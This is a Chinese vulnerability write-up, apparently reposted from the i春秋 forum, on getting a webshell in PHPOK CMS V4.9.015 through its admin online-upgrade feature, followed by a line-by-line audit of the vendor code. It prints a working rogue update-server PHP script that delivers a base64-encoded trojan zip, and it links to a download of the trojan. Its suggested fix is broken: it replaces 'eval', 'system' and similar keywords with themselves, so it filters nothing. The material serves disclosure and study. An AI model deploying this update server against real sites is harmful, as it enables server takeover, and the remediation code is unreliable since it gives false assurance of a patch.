1. 程式人生 > >看我是如何利用升級系統一鍵GetShell

看我是如何利用升級系統一鍵GetShell

i春秋作家:小豬

原文來自:看我是如何利用升級系統一鍵GetShell

漏洞名稱:看我是如何利用升級系統一鍵GetShell

程式下載地址:https://pan.baidu.com/s/1VdoPLqNP6V6aguodza9uQQ

馬子檔案下載地址:https://pan.baidu.com/s/1fwDQ7fdiqsv_Azr9Ii89mg提取碼:dm8q

版本:V4.9.015

簡介:PHPOK企業站系統(以下簡稱系統或本系統),採用PHP+MYSQL語言開發,是一套成熟完善的企業站CMS系統。本系統函蓋功能全面,自定義功能強大,擴充套件性較好、安全性較高。可以輕鬆解決大部分企業站需求。

0x01 程式安裝到復現

1.第一步安裝系統

2.第二步這裡要建立資料庫,不然他不會自動建立。

3.第三步完成安裝,然後我們點選進入後臺。

4.第四步進入後臺-》程序升級-》升級配置


5.第五步,服務端構建程式碼,建立`index.php`放在網頁根目錄

[PHP] 純文字檢視 複製程式碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

header("Content-type: text/xml"

);

if($type == 4){

        $xml = '<?xml version="1.0" encoding="utf-8"?>';

        $xml .= "<info>";

        $xml .= "<status>1</status>";

        

$xml .= "<content>";

        $xml .= "<phpok-49032>";

        $xml .= "<phpok-id>49032</phpok-id>";

        $xml .= "<phpok-time>1526457606</phpok-time>";

        $xml .= "<phpok-size>15172</phpok-size>";

        $xml .= "<phpok-type>zip</phpok-type>";

        $xml .= "</phpok-49032>";

        $xml .= "</content>";

        $xml .= "</info>";

        echo $xml;

} else {

        $xml = '<?xml version="1.0" encoding="utf-8"?>';

        $xml .= "<info>";

        $xml .= "<status>1</status>";

        $xml .= "<content>";

        //這裡的tmp.zip是代表木馬檔案

        $xml .= base64_encode(file_get_contents('tmp.zip'));

        $xml .= "</content>";

        $xml .= "</info>";

        echo $xml;

}

 

6.第六步,後臺-》程序升級-》線上升級,我這裡改下1999-09-09 09:09:09代表是我伺服器的升級軟體

7.第七步,我們點選升級,在用D盾監聽下目錄是否上傳成功木馬檔案。

8.第八步,訪問木馬檔案,看看是否能訪問成功

0x02 程式碼審計

漏洞所在檔案:\framework\admin\update_control.php(在後臺程序升級)

漏洞檔案程式碼:(只貼上相關程式碼)

首先我們看第369行,$file = $this->get('file','int');,這裡我們看到他這裡是接收GET變數中的file值,那麼int就是把接收的值轉換成int型別。

第370行,if(!$file)判斷$file變數是否有賦值,如果沒有複製那麼就提示一個JSON資料。

第373行,$urlext = 'file='.rawurlencode($file);rawurlencode函式代表空格轉換成%20

第374行,$rs = $this->service(5,$urlext);,這裡可以看到呼叫本身檔案中的service方法,那我們進入這個方法看看,在文章的第465行。

第465行,if(!file_exists($this->dir_root.'data/update.php'))file_exists函式代表檢查檔案或目錄是否存在。

第470行,$uconfig = array();,申明一個空陣列。

第471行,include($this->dir_root.'data/update.php');include函式代表引入一個檔案,如果沒有找到這個檔案只會提示個警告不會終止錯誤。

第478行,if(file_exists($this->dir_root.'data/update.xml'))file_exists函式代表檢查檔案或目錄是否存在。

第486行,if(substr($url,-1) != '/')substr函式代表字串切割,並且判斷不等於/那麼就進入487行區間。

第489行,$url .= 'index.php?version='.rawurlencode(trim($info['version'])).'&time='.$this->time.'&type='.$type;,URL地址拼接,rawurlencode函式代表空格轉換成%20trim函式代表移除字串兩側的空白字元。

第493行,if($type == 1 || $type == 4),判斷外部傳入的$type是否等於1或者等於4。

第494行,$onlyid = $uconfig['onlyid'] ? $uconfig['onlyid'] : $this->_onlyid();,這裡使用了3元運算子。

第495行,$domain = $this->lib('server')->domain($this->config['get_domain_method']);,這裡代表是獲取當前訪問的網址。

第496行,$client_ip = $this->lib('common')->ip();,獲取客戶端Ip

第497行,$url .= "&domain=".rawurlencode($domain)."&ip=".rawurlencode($client_ip);,URL地址拼接,rawurlencode函式代表空格轉換成%20

第498行,$url .= "&onlyid=".$onlyid."&phpversion=".PHP_VERSION;,也是URL地址拼接。

第499行,if(function_exists('php_uname'))function_exists函式代表判斷是否有某函式。

第502行,$soft = $_SERVER['SERVER_SOFTWARE'];,獲取伺服器PHP版本。

第506行,$mysqlversion = $this->db->version('server');,獲取服務端mysql版本號。

第511行,$this->lib('html')->setting('timeout',900);,這裡是設定CURL請求的超時時間。

第513行,$this->lib('html')->ip($uconfig['ip']);,設定請求IP。

第515行,$info = $this->lib('html')->get_content($url);,請求URL地址,返回XML內容。

下面就是返回XML資料,那麼我們回到第一張圖片。

第375行,$rs = $this->lib('json')->decode($rs);,這裡代表是把接收到的XML內容轉換成JSON資料。

第376行,if($rs['status'] != 'ok'),判斷$rs['status']不等於ok

第379行,if(!$rs['content']),判斷是否為空。

第382行,$info = base64_decode($rs['content']);,把接收到的$rs['content']值,從base64轉換成實體。

第383行,file_put_contents($this->dir_root.'data/tmp.zip',$info);,寫入當前檔案,第一個引數代表路徑,第二個引數代表內容。

第384行,$this->lib('phpzip')->unzip($this->dir_root.'data/tmp.zip','data/update/');,我們看到這裡的意思就是解壓檔案到某個目錄。

第386行,$this->lib('file')->rm($this->dir_root.'data/tmp.zip');,刪除寫入的檔案。

第386行,$verinfo = substr($file,0,1).".".substr($file,1,1).".".substr($file,2);,這裡是字串切割。

第387行,$info = $this->update_load($verinfo);,這裡呼叫自定義方法,也是在本文章第152行。

第154行,$list = array();,定義一個空陣列。

第155行,$this->lib('file')->deep_ls($this->dir_root.'data/update/',$list);,這裡大概意思是遍歷當前檔案所有檔名,這裡我就不去找程式碼,就把程式碼直接複製出來。

那麼程式碼路徑在framework\libs\file.php中第297-313行

    /**
     * 獲取資料夾及子資料夾等多層檔案列表(無限級,長度受系統限制)
     * @引數 $folder 資料夾
     * @引數 $list 引用變數
    **/
    public function deep_ls($folder,&$list)
    {
            $this->read_count++;
            $tmplist = $this->_dir_list($folder);
            foreach($tmplist AS $key=>$value){
                    if(is_dir($value)){
                            $this->deep_ls($value,$list);
                    }else{
                            $list[] = $value;
                    }
            }
    }

第156行,if(!$list || count($list) < 1),判斷$list是否為空,並且判斷他的資料是不是小於1。

第159行,$strlen = strlen($this->dir_root."data/update/");strlen代表統計字串長度。

第162行,foreach($list as $key=>$value)foreach迴圈遍歷陣列。

第163行,$value = trim($value);trim代表移除字串兩側的字元。

第165行,continue;,這裡代表跳出迴圈。

第167行,$tmp = substr($value,$strlen);substr代表字串切割。

第168行,if($tmp == 'version.txt'),這裡判斷$tmp是否等於version.txt

第169行,$verinfo = trim(file_get_contents($value));trim代表移除字串兩側的字元,file_get_contents代表寫入檔案。

第183行,if(substr($tmp,0,10) == 'framework/')substr代表字串切割,從0到10切割判斷等於framework/

第185行,if(is_file($value))is_file代表判斷檔案是否存在。

第187行,$this->lib('file')->mv($value,$this->dir_phpok.$tmp1);,剪下檔案到某個目錄。

第189行,if(is_dir($value) && !is_dir($this->dir_phpok.$tmp1))is_dir代表判斷目錄是否存在,並且判斷臨時檔案是否不存在。

第190行,$this->lib('file')->make($this->dir_phpok.$tmp1,'folder');,建立目錄。

第194行,if(is_file($value) && $tmp != 'table.sql')is_file代表判斷檔案是否存在,並且判斷$tmp不等於table.sql檔案的進入區間。

第194行-第210行都是一樣,剪下和建立目錄。

第205行,$dlist = file($delfile);file代表整個檔案讀入一個數組中。

第209行,foreach($dlist AS $key=>$value)foreach代表陣列迴圈。

第213行,$value = trim($value);trim代表移除字串兩側的字元。

第214行,if($value && is_file($this->dir_root.$value)),判斷$value是否有值,並且判斷檔案是否存在。

第215行,$this->lib('file')->rm($this->dir_root.$value);,代表刪除檔案。

第218行,if($value && is_dir($this->dir_root.$value)),判斷$value是否有值,並且判斷目錄是否存在。

第225行,$this->update_table();這裡又看到呼叫自己的方法。

為何還有那麼多程式碼要分析。

我們接下來繼續往下分析,這裡的話我就把程式碼Copy出來,程式碼太多截圖不好看。

我這裡挑重要的函式講解下,這裡都是sql執行語句,沒有什麼可以分析的。

函式:

file_exists,代表檢查檔案或目錄是否存在。

file_get_contents,代表讀取檔案,如果攜帶2個引數那麼就是寫入。

str_replace,代表字串替換。

strlen,代表檢視字串長度。

substr,代表字串切割。

unset,代表變數刪除。

explode,代表把字串切割成陣列。

trim,代表移除字串兩側的字元。

    private function update_table()
    {
            if(!file_exists($this->dir_root.'data/update/table.sql')){
                    return false;
            }
            //建立新表臨時
            $prefix = 'tmp_'.$this->db->prefix;
            $sqlcontent = file_get_contents($this->dir_root.'data/update/table.sql');
            $sqlcontent = str_replace('qinggan_',$prefix,$sqlcontent);
            $this->sql_run($sqlcontent);
            //比較新表結果
            $list = $this->db->list_tables();
            $tblist = array();
            $nlength = strlen($prefix);
            $olength = strlen($this->db->prefix);
            foreach($list as $key=>$value){
                    //跳過擴充套件表
                    $continue_1 = substr($value,0,strlen($prefix.'list_'));
                    $continue_2 = substr($value,0,strlen($this->db->prefix.'list_'));
                    if($continue_1== $prefix.'list_' ||  $continue_2 == $this->db->prefix."list_"){
                            continue;
                    }
                    if(substr($value,0,$nlength) == $prefix){
                            $tblid = substr($value,$nlength);
                            $tblist[$tblid]['new'] = $value;
                    }
                    if(substr($value,0,$olength) == $this->db->prefix){
                            $tblid = substr($value,strlen($this->db->prefix));
                            $tblist[$tblid]['old'] = $value;
                    }
            }
            foreach($tblist as $key=>$value){
                    if(!$value['new']){
                            continue;
                    }
                    if(!$value['old']){
                            $sql = "SHOW CREATE TABLE ".$value['new'];
                            $rs = $this->db->get_one($sql);
                            if(!$rs['Create Table']){
                                    continue;
                            }
                            $rs['Create Table'] = str_replace($prefix,$this->db->prefix,$rs['Create Table']);
                            $this->db->query($rs['Create Table']);
                            continue;
                    }
                    //比較新表
                    $nlist = $this->db->list_fields_more($value['new']);
                    $olist = $this->db->list_fields_more($value['old']);
                    foreach($nlist as $k=>$v){
                            if($olist[$k] && $olist[$k]['type'] == $v['type']){
                                    continue;
                            }
                            if(!$olist[$k]){
                                    $sql = "ALTER TABLE ".$value['old']." ADD `".$k."` ".$v['type']." ";
                            }else{
                                    $sql = "ALTER TABLE `".$value['old']."` CHANGE `".$k."` `".$k."` ".$v['type']." ";
                            }
                            if($v['null'] == 'NO'){
                                    $sql .= " NOT NULL ";
                                    if($v['default'] != ''){
                                            $sql .= " DEFAULT ".$v['default']." ";
                                    }
                            }else{
                                    $sql .= " DEFAULT ".($v['default'] != '' ? $v['default'] : ' NULL ')." ";
                            }
                            if($value['extra']){
                                    $sql .= " ".$v['extra']." ";
                            }
                            if($v['comment']){
                                    $sql .= " COMMENT '".$v['comment']."'";
                            }
                            $this->db->query($sql);
                    }
                    unset($nlist,$olist);
            }
            //刪除臨時表操作
            foreach($list as $key=>$value){
                    if(substr($value,0,$nlength) == $prefix){
                            $sql = "DROP TABLE ".$value;
                            $this->db->query($sql);
                    }
            }
            unset($list,$tbllist);
            return true;
    }

    private function sql_run($sql='')
    {
            $sql = str_replace("\r","\n",$sql);
            $ret = array();
            $num = 0;
            foreach(explode(";\n", trim($sql)) as $query){
                    $queries = explode("\n", trim($query));
                    foreach($queries as $query){
                            $ret[$num] .= $query[0] == '#' || $query[0].$query[1] == '--' ? '' : $query;
                    }
                    $num++;
            }
            foreach($ret as $query){
                    $query = trim($query);
                    if($query){
                            $this->db->query($query);
                    }
            }
            return true;
    }

好了 我們回到上上張圖片。

第231行,$info = trim(file_get_contents($value));trim代表移除字串兩側的字元,file_get_contents代表寫入檔案。

第233行,$info = str_replace('qinggan_',$this->db->prefix,$info);str_replace代表字串替換。

第240行,if(file_exists($this->dir_root."data/update/run.php"))file_exists代表檢查檔案或目錄是否存在。

第241行,include($this->dir_root.'data/update/run.php');include引入一個檔案。

第243行,$this->lib('file')->rm($this->dir_root.'data/update/');,代表刪除檔案。

第244行,$list = $this->lib('file')->ls($this->dir_root.'data/update/');,代表把目錄結構挪列出來。

第245行,if($list && count($list)>0),判斷$list值是否存在,並且判斷他的數量是否小於0。

第247行,$this->lib('file')->rm($value,'folder');,這裡代表迴圈刪除某個檔案。

第251行,$this->success_version($verinfo);這裡又進入一個自定義方法區間。

老樣子,Copy程式碼,程式碼量不多我就Copy出來。

    //更新成功後,修改記錄
    private function success_version($version='')
    {
            if(!$version){
                    return false;
            }
            //寫入到最新版本
            $html = '<?xml version="1.0" encoding="utf-8"?>'."\n";
            $html.= '<phpok>'."\n";
            $html.= "\t".'<version>'.trim($version).'</version>'."\n";
            $html.= "\t".'<time>'.date("Y-m-d H:i:s",$this->time).'</time>'."\n";
            $html.= '</phpok>';
            file_put_contents($this->dir_root.'data/update.xml',$html);
            if(is_writeable($this->dir_root.'version.php') && file_exists($this->dir_data.'version.tpl')){
                    $info = file_get_contents($this->dir_data.'version.tpl');
                    $info = str_replace('{version}',trim($version),$info);
                    $info = str_replace('{updatetime}',date("Y年m月d日 H時i分s秒",$this->time),$info);
                    file_put_contents($this->dir_root.'version.php',$info);
            }
            $this->lib('file')->rm($this->dir_root.'data/tpl_admin/');
            $this->lib('file')->rm($this->dir_root.'data/tpl_www/');
            $this->lib('file')->rm($this->dir_cache);
            return true;
    }

那麼我們還是做簡單的介紹下重要函式。

trim,代表移除字串兩側的字元。

is_writeable,判斷檔案是否可寫。

file_exists,代表檢查檔案或目錄是否存在。

str_replace,字串替換。

file_put_contents,寫入檔案或讀取檔案。

這裡已經介紹完畢了,整個審計分析邏輯在上面。

0x03 漏洞修復

路徑:\framework\admin\update_control.php

第152行,方法裡面的foreach迴圈加上這段程式碼去過濾。

$verinfo = str_replace(['eval','assert','system','phpinfo'], ['eval','assert','system','phpinfo'], strtolower(trim(file_get_contents($value))));,這裡我只寫了比較有危害的關鍵字。



大家有任何問題可以提問,更多文章可到i春秋論壇閱讀喲~